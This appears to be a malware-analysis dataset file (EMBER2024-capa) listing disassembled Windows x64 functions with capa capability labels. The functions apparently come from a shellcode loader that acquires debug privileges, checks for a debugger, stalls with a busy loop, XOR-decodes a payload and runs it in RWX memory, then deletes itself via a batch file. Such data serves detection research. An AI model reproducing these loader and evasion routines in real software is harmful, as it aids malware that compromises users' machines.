joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400701e0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140070222
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140070269
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400702c2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140070280
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140070303
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008330a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008330b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400702d0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14007031c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, [0x140083410]
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140070356
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14007035b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400703a4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400703a4
dec r8
sub rdx, 1
jne 0x14007038a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140071ab0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140071afa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140071afa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140071afa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140071afa
cmp dword [rcx + 0x84], 0xe
jbe 0x140071afa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140071afc
xor al, al
add rsp, 0x28
ret
Function at 0x14000124c
Capabilities:
Acquire debug privileges
Check for debugger via api
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
call fcn.14000b0d0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.14000b5f0
lea rdx, [0x140001240]
lea rcx, [0x140044c28]
call fcn.14000a8d0
call fcn.14000b140
and dword [rbp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x28]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400012e6
lea r8, [rbp - 0x40]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x28]
test eax, eax
jne 0x140001307
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
movaps xmm6, xmmword [rsp + 0x60]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm7, xmmword [rsp + 0x50]
mov rsp, r11
pop rbp
ret
mov rax, qword [rbp - 0x40]
lea r8, [rbp - 0x38]
and qword [rsp + 0x28], 0
mov r9d, 0x10
and qword [rsp + 0x20], 0
xor edx, edx
mov qword [rbp - 0x34], rax
mov dword [rbp - 0x38], 1
mov dword [rbp - 0x2c], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x28]
test eax, eax
je 0x1400012e0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400050f0
test al, al
je 0x14000136d
call fcn.140005630
jmp 0x1400012e6
mov ebx, 2
movd xmm7, ebx
mov edi, 2
cvtdq2pd xmm7, xmm7
movaps xmm0, xmm7
call fcn.140017a00
comisd xmm0, xmmword [0x14003caf8]
jb 0x1400013b2
mov eax, ebx
cdq
idiv edi
test edx, edx
je 0x1400013b2
inc edi
movaps xmm0, xmm7
movd xmm6, edi
cvtdq2pd xmm6, xmm6
call fcn.140017a00
comisd xmm0, xmm6
jae 0x140001391
inc ebx
cmp ebx, 0x1e8480
jle 0x140001372
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
and qword [rbp + 0x28], 0
lea rdx, [rbp + 0x28]
call fcn.1400071b4
mov rbx, rax
test rax, rax
je 0x1400012e6
mov r8, qword [rbp + 0x28]
test r8, r8
je 0x1400012e6
xor r9d, r9d
movabs rax, 0x61696d696e6f72
mov qword [rbp + 0x28], rax
test r8, r8
je 0x140001438
movabs rax, 0x2492492492492493
mov rcx, r9
mul r9
mov rax, r9
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
mov al, byte [rbp + rcx + 0x28]
xor byte [r9 + rbx], al
inc r9
cmp r9, r8
jb 0x140001401
mov rdx, r8
mov rcx, rbx
call fcn.140001fb8
mov rcx, rbx
test al, al
jne 0x140001454
call fcn.140012540
jmp 0x1400012e6
call fcn.140012540
xor eax, eax
jmp 0x1400012eb
Function at 0x140001fb8
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rsi, rcx
mov r8d, 0x3000
xor ecx, ecx
mov rbx, rdx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000201b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____VirtualAlloc_failed:
mov ebx, eax
lea rcx, [0x140043670]
call fcn.140003cbc
mov rcx, rax
mov edx, ebx
call fcn.140002310
mov rcx, rax
call fcn.140003f08
xor al, al
jmp 0x140002143
lea rdx, str.___Memory_allocated_at_address:
lea rcx, [0x1400434f0]
call fcn.140003cbc
mov rcx, rax
mov rdx, rdi
call fcn.140002154
mov rcx, rax
call fcn.140003f08
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.14002f170
lea rdx, str.___Shellcode_written_to_memory_successfully.
lea rcx, [0x1400434f0]
call fcn.140003cbc
mov rcx, rax
call fcn.140003f08
and qword [rsp + 0x28], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x1400020d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____CreateThread_failed:
mov ebx, eax
lea rcx, [0x140043670]
call fcn.140003cbc
mov rcx, rax
mov edx, ebx
call fcn.140002310
mov rcx, rax
call fcn.140003f08
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140002014
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadId]
lea rdx, str.___Shellcode_executed_in_a_new_thread._Thread_ID:
mov ebx, eax
lea rcx, [0x1400434f0]
call fcn.140003cbc
mov rcx, rax
mov edx, ebx
call fcn.140002310
mov rcx, rax
call fcn.140003f08
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, str.___Resources_cleaned_up.
lea rcx, [0x1400434f0]
call fcn.140003cbc
mov rcx, rax
call fcn.140003f08
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140005630
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov ebx, 0x104
mov r8d, ebx
lea rdx, [rbp + 0x190]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x80]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.00.bat
mov edx, ebx
lea rcx, [rbp + 0x80]
call fcn.140017288
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400064dc
nop
xor ebx, ebx
cmp qword [rbp - 0x38], rbx
je 0x140005779
lea rdx, str.:Repeat
lea rcx, [rsp + 0x40]
call fcn.140003cbc
mov rcx, rax
call fcn.140003f08
lea rdx, str.del__
lea rcx, [rsp + 0x40]
call fcn.140003cbc
mov rcx, rax
lea rdx, [rbp + 0x190]
call fcn.140003cbc
mov rcx, rax
lea rdx, [0x14003c968]
call fcn.140003cbc
mov rcx, rax
call fcn.140003f08
lea rdx, str.if_exist__
lea rcx, [rsp + 0x40]
call fcn.140003cbc
mov rcx, rax
lea rdx, [rbp + 0x190]
call fcn.140003cbc
mov rcx, rax
lea rdx, str.__goto_Repeat
call fcn.140003cbc
mov rcx, rax
call fcn.140003f08
lea rdx, str.del___f0_
lea rcx, [rsp + 0x40]
call fcn.140003cbc
mov rcx, rax
call fcn.140003f08
lea rcx, [rsp + 0x48]
call fcn.140006b30
test rax, rax
jne 0x140005779
mov rax, qword [rsp + 0x40]
movsxd rdx, dword [rax + 4]
mov rax, qword [rbp + rdx - 0x78]
neg rax
sbb ecx, ecx
and ecx, 0xfffffffc
add ecx, 6
or ecx, dword [rsp + rdx + 0x50]
and ecx, 0x17
mov dword [rsp + rdx + 0x50], ecx
mov eax, dword [rsp + rdx + 0x54]
and eax, ecx
jne 0x1400057ce
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp - 0x18]
call fcn.14000645c
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x18]
call fcn.140008ba8
nop
xor al, al
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x3a0
pop rbp
ret
test al, 4
je 0x1400057db
lea rbx, str.ios_base::badbit_set
jmp 0x1400057ef
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400016c8
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140001f2c
lea rdx, [0x140040df0]
lea rcx, [rbp + 0x50]
call fcn.14000dbfc
int3
Function at 0x140005b70
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140005b9e
xor eax, eax
jmp 0x140005c84
cmp qword [rcx + 0x68], 0
je 0x140005baf
call fcn.140006360
jmp 0x140005c84
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140005bc6
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005bc8
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005bfa
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14002f170
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140005c7e
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140005c31
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140005c5a
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001758c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140005c7e
cmp rsi, rbx
ja 0x140005c38
test rsi, rsi
je 0x140005c7e
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001758c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140007cf0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007d3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007d3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007d3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007d3a
cmp dword [rcx + 0x84], 0xe
jbe 0x140007d3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007d3c
xor al, al
add rsp, 0x28
ret

Function at 0x140009220
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.140009470
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x14000933a
mov rax, qword [0x1400420f8]
cmp qword [rsp + 0x20], rax
jb 0x140009284
mov rax, qword [0x140042100]
cmp qword [rsp + 0x20], rax
ja 0x140009284
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140009246
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14002f810
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400092b5
jmp 0x14000933a
cmp dword [rsp + 0x50], 0x10000
jne 0x14000931d
cmp qword [rsp + 0x48], 0x10000
jb 0x14000931d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400092fb
mov rax, qword [rsp + 0x28]
jmp 0x14000933c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x14000930b
xor eax, eax
jmp 0x14000933c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140009335
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.140009470
mov qword [rsp + 0x20], rax
jmp 0x140009246
xor eax, eax
add rsp, 0x68
ret
Function at 0x140009350
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1400094b0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x140009466
mov rax, qword [0x1400420f8]
cmp qword [rsp + 0x20], rax
jb 0x1400093ab
mov rax, qword [0x140042100]
cmp qword [rsp + 0x20], rax
ja 0x1400093ab
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x14000936d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14002f810
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400093dc
jmp 0x140009466
cmp dword [rsp + 0x50], 0x10000
jne 0x140009444
cmp qword [rsp + 0x48], 0x10000
jb 0x140009444
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140009422
mov rax, qword [rsp + 0x28]
jmp 0x140009468
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140009432
xor eax, eax
jmp 0x140009468
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140009461
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400094b0
mov qword [rsp + 0x20], rax
jmp 0x14000936d
xor eax, eax
add rsp, 0x68
ret
Function at 0x140009500
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140009a90
mov qword [rsp + 0x28], 0
cmp qword [0x140043990], 0
jne 0x140009548
cmp qword [0x140043988], 0
je 0x140009548
mov rax, qword [0x140043988]
mov qword [0x140043990], rax
cmp qword [0x140043990], 0
je 0x1400095ee
mov rax, qword [0x140043990]
cmp qword [rax + 0x10], 0
je 0x1400095ee
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x1400095ee
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x1400095ee
mov rax, qword [0x140043990]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x1400095b4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x1400095bb
xor eax, eax
jmp 0x140009765
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.14002f810
mov rax, qword [rsp + 0x28]
jmp 0x140009765
mov rax, qword [0x140043988]
mov qword [0x140043990], rax
jmp 0x140009610
mov rax, qword [0x140043990]
mov rax, qword [rax + 8]
mov qword [0x140043990], rax
cmp qword [0x140043990], 0
je 0x14000965d
cmp qword [0x140043990], 0
je 0x14000965b
mov rax, qword [0x140043990]
cmp qword [rax + 0x10], 0
je 0x14000965b
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14000965b
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14000965b
jmp 0x14000958c
jmp 0x1400095fe
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140009770
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140009763
mov rax, qword [rsp + 0x48]
mov qword [0x140043990], rax
mov rax, qword [0x140043990]
mov dword [rax], 0x52727464
mov rax, qword [0x140043990]
mov qword [rax + 0x10], 0
mov rax, qword [0x140043990]
mov rcx, qword [0x140043988]
mov qword [rax + 8], rcx
mov rax, qword [0x140043990]
mov qword [0x140043988], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x140043990]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x140009714
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x14000974e
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x14000970a
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x14000958c
xor eax, eax
add rsp, 0x58
ret
Function at 0x14000a480
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000a4c7
xor al, al
jmp 0x14000a569
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x14000a4f1
xor al, al
jmp 0x14000a569
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x14000a561
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x14000a561
mov al, 1
jmp 0x14000a569
jmp 0x14000a567
xor al, al
add rsp, 0x78
ret

Function at 0x14000a870
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140043988]
mov qword [rsp + 0x28], rax
jmp 0x14000a890
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000a8bf
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x14000a8bd
call sub.KERNEL32.dll_GetLastError
jmp 0x14000a8c1
jmp 0x14000a882
xor eax, eax
add rsp, 0x38
ret
Function at 0x14000af80
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1400439a0], eax
je 0x14000af9b
mov eax, 0x10dd
jmp 0x14000b0c0
mov rax, qword [0x1400439b8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000b045
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x14000b010
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x14000b010
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.140009bd0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.140007528
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x14000afa7
mov qword [0x1400439b8], 0
call fcn.14000a630
mov rax, qword [0x1400439b0]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000b0a9
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.140007528
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x14000b061
mov qword [0x1400439b0], 0
mov dword [0x1400439a0], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000b5f0
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x1400439a4], 0
je 0x14000b60d
mov eax, dword [0x1400439a4]
jmp 0x14000b6d3
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x14000b620
xor eax, eax
jmp 0x14000b6d3
mov ecx, 0x10
call fcn.140007530
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000b68e
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x14000b673
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.140007528
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x1400439a4], eax
mov qword [0x1400439a8], 0
mov eax, dword [rsp + 0x20]
jmp 0x14000b6d3
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x14000b6a8
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x14000b649
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x1400439b0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x1400439b0], rax
xor eax, eax
add rsp, 0x48
ret

Function at 0x140018870
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001866c

Function at 0x14001f9cc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001f9e2
mov al, 1
jmp 0x14001fa42
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001f9f3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001fa40
mov ecx, dword [rcx + 0x18]
nop
